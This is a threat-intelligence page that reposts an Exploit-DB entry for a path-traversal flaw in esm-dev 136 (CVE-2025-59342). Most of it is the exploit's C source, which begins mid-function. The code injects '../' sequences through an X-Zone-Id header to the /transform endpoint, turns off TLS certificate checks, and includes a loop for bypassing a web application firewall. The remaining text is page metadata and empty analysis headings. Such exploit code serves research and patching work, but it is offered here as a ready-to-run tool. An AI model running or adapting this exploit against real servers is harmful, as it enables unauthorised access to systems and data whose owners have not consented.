(mes5), [len13] "r" (len5) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); char full[FULL_URL]; if (flagPort != 0) { const char* mes8 = "\e[0;31m[-] Select Port is NULL !\e[0m\n"; size_t len8 = strlen(mes8); __asm__ volatile ( "test %[var22], %[var22]\n\t" "jnz L_finish\n\t" "mov $1, %%rax\n\t" "mov $1, %%rdi\n\t" "mov %[msg13], %%rsi\n\t" "mov %[len13], %%rdx\n\t" "syscall\n\t" "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" "L_finish:\n\t" : : [var22] "r" (selectPort), [msg13] "r" (mes8), [len13] "r" (len8) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); printf("\e[0;34m[+] Port Select : %d\e[0m\n", selectPort); int len1 = snprintf(full, FULL_URL, "%s:%d/transform", baseurl,selectPort); if (checkLen(len1, full, FULL_URL) == 1) { fprintf(stderr, "\e[0;31m[-] Error write base url !\e[0m\n"); exit64bit(); } printf("\e[0;34m[+] Write base URL success.\e[0m\n"); } else if (flagPort == 0) { printf("\e[0;34m[+] Auto port : %d\e[0m\n", port); int len2 = snprintf(full, FULL_URL, "%s:%d/transform", baseurl, port); if (checkLen(len2, full, FULL_URL) == 1) { fprintf(stderr, "\e[0;31m[-] Error write base url !\e[0m\n"); exit64bit(); } printf("\e[0;34m[+] Write base URL success.\e[0m\n"); } printf("[+] Base URL : %s\n", baseurl); printf("[+] Result full url : %s\n", full); char post[POST_DATA]; int len9 = snprintf(post, POST_DATA, "{\"filename\":\"cve.js\",\"lang\":\"js\",\"code\":\"console.log('Exploit!');\",\"importMap\":{\"imports\":{\"react\":\"https://esm.sh/react\",\"react-dom\":\"https://esm.sh/react-dom\"}},\"jsxImportSource\":\"react\",\"target\":\"es2022\",\"sourceMap\":\"external\",\"minify\":true}"); if (checkLen(len9, post, POST_DATA) == 1) { fprintf(stderr, "[-] Error write post data !\e[0m\n"); exit64bit(); } printf("\e[0;34m[+] Write Post data Success.\e[0m\n"); printf("\e[0;35m[+] Post data :===================================\e[0m\n"); printf("%s\n", post); printf("\e[0;32m[+] Size : %d\e[0m\n", POST_DATA); printf("\e[0;32m[+] Len : %zu\e[0m\n", strlen(post)); printf("\e[0;35m==================================================\e[0m\n"); curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); if (cF) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post)); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); struct timespec rqtp, rmtp; rqtp.tv_sec = 1; rqtp.tv_nsec = 500000000; register long r10R asm("r10"); r10R = 0; printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); int ret; __asm__ volatile ( "syscall" : "=a"(ret) : "a"(0xE6), "D"((long)0), "S"((long)0), "d"(&rqtp), "r"(r10R) : "rcx", "r11", "memory" ); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist* headers = NULL; headers = curl_slist_append(headers, "User-Agent: Den/8.7.1"); headers = curl_slist_append(headers, "Accept: */*"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, "Referer: http://localhost:9999/"); if (s!=0) { printf("[+] Your Payload : %s\n", payload); printf("\e[0;33m[+] Checking payload...\n"); if (strstr(payload, "../") || strstr(payload, "..\\")) { printf("\e[0;36m[+] Detected path traversal \"../\" in payload.\n"); } else { printf("\e[0;31m[-] No path traversal detected. Please provide a valid payload.\n"); exit64bit(); } if (strstr(payload, "/transform")) { printf("\e[0;36m[+] Detected endpoint '/transform' in payload.\n"); } else { printf("\e[0;31m[-] Endpoint '/transform' not detected in payload!\n"); exit64bit();; } } else { headers = curl_slist_append(headers, "X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/"); //auto payload printf("[+] Auto payload ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/.\n"); } curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); if (verbose) { curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { printf("\e[1;36m[+] Request sent successfully\e[0m\n"); long httpcode; double timeT; double timeR; char* urlD = NULL; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpcode); curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeT); curl_easy_getinfo(curl, CURLINFO_REDIRECT_TIME, &timeR); curl_easy_getinfo(curl, CURLINFO_REDIRECT_URL, &urlD); printf("\e[0;32m[+] Delayed response : %f\e[0m\n", timeT); printf("\e[0;34m[+] TIME REDIRECT: %.1f\e[0m\n", timeR); if (urlD == NULL) { printf("\e[0;36m[+] Not REDIRECT Found.\e[0m\n"); } else { printf("\e[0;34m[+] REDIRECT To : %s\e[0m\n", urlD); } printf("\e[0;32m[+] HTTP CODE : %ld\n", httpcode); if (response.buffer != NULL) { printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[0;32m[+] Size Pointer response : %d\e[0m\n", sizeof(response.buffer)); printf("\e[0;32m[+] Len : %zu\e[0m\n", response.len); printf("\e[0;35m==========================================================================================================\e[0m\n"); } else { printf("\e[0;31m[-] Error show buffer : NULL response !\n"); __asm__ volatile ( "mov $0x0, %%rdi\n\t" "mov $0xE7, %%rax\n\t" "syscall\n\t" : : :"rax", "rdi" ); } printf("===========================================================================================================\n"); if (httpcode >= 200 && httpcode < 300) { const char* words[] = { "Exploit!", "cve.js", "mjs", "console", "code", "map", "AAAA", "IAAI", "names", NULL }; printf("\e[0;32m[+] Http code (200 - 300)\e[0m\n"); printf("\e[0;33m[+] Check Word in response...\e[0m\n"); for (int u = 0; words[u] != NULL; u++) { code = 1; if (strstr(response.buffer, words[u]) != NULL) { printf("[+] Word found in response : %s\n", words[u]); __asm__ volatile ( "mov $0x0, %[var12]\n\t" : [var12] "=r" (found) : : ); break; } } if (found == 0) { printf("\e[0;36m[+] Words were found in the server's response, indicating that the exploitation was likely successful.\e[0m\n"); } const char *mes11 = "\e[0;31m[-] Not found words in response !\e[0m\n"; size_t len11 = strlen(mes11); __asm__ volatile ( "test %[var11], %[var11]\n" "jnz notZero\n\t" "jmp finish11\n\t" "notZero:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "movq %[size11], %%rsi\n\t" "mov %[len11], %%rdx\n\t" "syscall\n\t" "finish11:\n\t" : : [var11] "r" ((int)found), [size11] "r" ((const char *)mes11), [len11] "r" (len11) :"rax", "rdi", "rsi", "rdx", "r11", "rcx", "memory" ); } else { printf("\e[0;31m[-] Http code Not range (200 - 300)\e[0m\n"); printf("\e[0;31m[-] Please check url and port.\e[0m\n"); } printf("\e[0;35m[+] Result Exploit :\e[0m\n"); if (code == 1 && found == 0) { printf("\e[0;36m[+] HTTP code positive and expected word found: Exploit succeeded (CVE-2025-59342).\e[0m\n"); } else if (code == 1 && found != 0) { printf("\e[0;36m[+] HTTP code positive but expected word not found: Partial success (CVE-2025-59342).\e[0m\n"); } else if (code != 1 && found == 0) { printf("\e[0;31m[-] HTTP code negative but word found: Unexpected result (CVE-2025-59342).\e[0m\n"); } else { printf("\e[0;31m[-] Exploitation did not succeed.\e[0m\n"); } } else { printf("\e[0;31m[-] Error Send Request !\e[0m\n"); printf("\e[0;31m[-] Error : %s\n", curl_easy_strerror(res)); exit64bit(); } curl_easy_cleanup(curl); free(response.buffer); } void bypass(const char* urlB) { struct Mem responseBypass; responseBypass.buffer = NULL; responseBypass.len = 0; const char* mes14 = "\e[0;34m[+] Buffer Clean Success.\e[0m\n"; size_t len14 = strlen(mes14); __asm__ volatile ( "test %[buffer1], %[buffer1]\n\t" "jz L_print_clean1\n\t" "L_continue1:\n\t" "jmp L_done1\n\t" "L_print_clean1:\n\t" "mov $0x1, %%rax\n\t" "mov $0x1, %%rdi\n\t" "movq %[msg14], %%rsi\n\t" "mov %[len14], %%rdx\n\t" "syscall\n\t" "L_done1:\n\t" : : [buffer1] "r" ((const char*)responseBypass.buffer), [msg14] "r" (mes14), [len14] "r" (len14) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); CURL* curl = curl_easy_init(); if (curl == NULL) { fprintf(stderr,"[-] Error Create Object CURL !\n"); exit64bit(); } CURLcode res1; char postData[POST_DATA]; int len15 = snprintf(postData, POST_DATA, "{\"filename\":\"cve.js\",\"lang\":\"js\",\"code\":\"console.log('Exploit!');\",\"importMap\":{\"imports\":{\"react\":\"https://esm.sh/react\",\"react-dom\":\"https://esm.sh/react-dom\"}},\"jsxImportSource\":\"react\",\"target\":\"es2022\",\"sourceMap\":\"external\",\"minify\":true}"); if (checkLen(len15, postData, POST_DATA) == 1) { fprintf(stderr, "[-] Error write post data !\e[0m\n"); exit64bit(); } if (curl) { for (int i = 0; payloads[i] != NULL; i++) { struct curl_slist* h = NULL; char fullURL[FULL_URL]; snprintf(fullURL, FULL_URL, "%s/transform", urlB); char hLine[1024]; snprintf(hLine, 1024, "X-Zone-Id: %s", payloads[i]); h = curl_slist_append(h, hLine); h = curl_slist_append(h, "User-Agent: Den/8.7.1"); h = curl_slist_append(h, "Content-Type: application/json"); curl_easy_setopt(curl, CURLOPT_URL, fullURL); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); if (cF) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(postData)); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseBypass); struct timespec rqtp, rmtp; rqtp.tv_sec = 1; rqtp.tv_nsec = 500000000; register long r10R asm("r10"); r10R = 0; printf("\e[0;33m[+] Sleep (%ld seconds) && (%ld nanoseconds)...\e[0m\n", rqtp.tv_sec, rqtp.tv_nsec); int ret; __asm__ volatile ( "syscall" : "=a"(ret) : "a"(0xE6), "D"((long)0), "S"((long)0), "d"(&rqtp), "r"(r10R) : "rcx", "r11", "memory" ); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); res1 = curl_easy_perform(curl); curl_slist_free_all(h); if (res1 == CURLE_OK) { long httpC; printf("---------------------------------------------------------------------------------------------------\n"); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("[+] Payload Test : %s\n", payloads[i]); curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpC); printf("[+] Http code : %ld\n", httpC); if (responseBypass.buffer != NULL) { printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n"); printf("%s\n", responseBypass.buffer); printf("\e[0;35m==========================================================================================================\e[0m\n"); if (httpC == 501 || strstr(responseBypass.buffer, "Unsupported method") != NULL) { printf("[-] Please check target URL, The server does not support the POST request.\n"); } else { __asm__ volatile("nop"); } } else { printf("[-] Response NULL !\n"); exit64bit(); } if (httpC >= 200 && httpC < 300) { if (code == 0) { printf("[+] Bypass Waf Success.\n"); } else { printf("[-] The server's response is still negative !\n"); } if (responseBypass.buffer != NULL) { printf("\e[0;35m=============================================== [RESPONSE] ===============================================\e[0m\n"); printf("%s\n", responseBypass.buffer); printf("%zu\n", responseBypass.len); printf("\e[0;35m==========================================================================================================\e[0m\n"); free(responseBypass.buffer); responseBypass.buffer = NULL; responseBypass.len = 0; } else { printf("[-] Response NULL (Bypass WAF) !\n"); exit64bit(); } } else { printf("[-] Http code Not 200-300 !\n"); printf("[+] Waf detect OR check input base url / port.\n"); } } } } else { printf("[-] Error Send Request !\n"); } curl_easy_cleanup(curl); } int main(int argc, const char** argv) { printf("\e[1;37m+-----------------------+\e[0m\n"); printf("\e[1;37m| Author : Byte Reaper |\e[0m\n"); printf("\e[1;37m| CVE : CVE-2025-59342 |\e[0m\n"); printf("\e[1;37m| Vuln : Path Traversal |\e[0m\n"); printf("\e[1;37m+-----------------------+\e[0m\n"); printf("\e[1;30m------------------------------------------------------------------------\e[0m\n"); printf("[+] Check Your os...\n"); struct utsname os; __asm__ volatile ( "mov %0, %%rdi\n\t" "mov $0x3F, %%rax\n\t" "syscall\n\t" : : "r"(&os) : "rax", "rdi" ); printf("\e[0;36m[+] System Name: %s\e[0m\n", os.sysname); printf("\e[0;36m[+] Machine : %s\e[0m\n", os.machine); if (strstr(os.sysname, "Linux") != NULL) { printf("\e[0;36m[+] Linux OS, Check Machine architecture...\e[0m\n"); } else { printf("[-] OS Not Linux 64 bit (%s),Exit...\e[0m\n", os.sysname); printf("[+] Please RUN exploit in linux.\n"); exit64bit(); } if (strstr(os.machine, "x86_64") != NULL) { printf("\e[0;36m[+] Machine architecture is 64 bit, run exploit...\e[0m\n"); } else { printf("[-] OS Not architecture 64 bit (%s), Exit...\e[0m\n", os.machine); exit64bit(); } const char* url = NULL; struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &url, "Enter Target URL."), OPT_INTEGER('p', "port", &selectPort, "Enter Target PORT."), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode."), OPT_STRING('c', "cookies", &cookies, "Enter File cookies."), OPT_STRING('k', "payload", &payload, "Enter Payload."), OPT_BOOLEAN('b', "bypass", &sP, "Arg Bypass WAF."), OPT_END() }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!url) { printf("\e[0;31m[-] Please Enter Target IP OR URl !\e[0m\n"); printf("\e[0;31m[!] Exemple : ./CVE-2025-59342 -u http://TARGET\e[0m\n"); __asm__ volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "1:\n\t" "syscall\n\t" : : : "rax", "rdi", "rsi" ); } if (verbose) { __asm__ volatile ( "add $0x1, %[var6]\n\t" : [var6] "+r" (verbose) : : ); } else { __asm__ volatile ( "mov $0x0, %[var7]\n\t" : [var7] "=r" (verbose) : : ); } flagPort = (selectPort != -1); if (payload != NULL) { s = 1; } else { s = 0; } if (sP) { bypass(url); } else { request(url); } printf("\e[0;36m[+] Finish Script.\n"); __asm__ volatile ("mov $0x3C, %%rax\n\t" "mov $0x0, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); }

Source: Exploit-DB RSS Feed

Published: Tue Dec 16 2025

esm-dev 136 - Path Traversal

Medium

Exploitweb exploit

Published: Tue Dec 16 2025 (12/16/2025, 00:00:00 UTC)

Source: Exploit-DB RSS Feed

Description

esm-dev 136 - Path Traversal

AI-Powered Analysis

AILast updated: 01/10/2026, 00:23:24 UTC

Technical Analysis

Potential Impact

Mitigation Recommendations

Affected Countries

Need more detailed analysis?Upgrade to Pro Console

Technical Details

Edb Id: 52461
Has Exploit Code: true
Code Language: c

Indicators of Compromise

Exploit Source Code

Exploit Code

Exploit code for esm-dev 136 - Path Traversal

# Exploit Title:  esm-dev 136 - Path Traversal
# Date: 2025-07-11
# Exploit Author: Byte Reaper 
#Vendor Homepage: https://github.com/esm-dev/esm.sh
# Software Link: https://github.com/esm-dev/esm.sh
# CVE-2025-59342
 - File   : exploit.c
 - Date   : 09/17/2025
 - Target : esm-dev
 - Version: 136
 - Target Endpoint : /transform
 - Target Header   :  X-Zone-Id
 - Vuln : 
 - Run exploit : 
            # gcc exploit.c argparse.c -o CVE-2025-59342 -lcurl
            # ./CVE-2025-59342

#include <cur... (28360 more characters)

Code Length: 28,860 characters • Language: C/C++

Threat ID: 6941062315f8de78ec7f738b

Added to database: 12/16/2025, 7:11:31 AM

Last enriched: 1/10/2026, 12:23:24 AM

Last updated: 2/7/2026, 5:43:58 AM

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by

Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.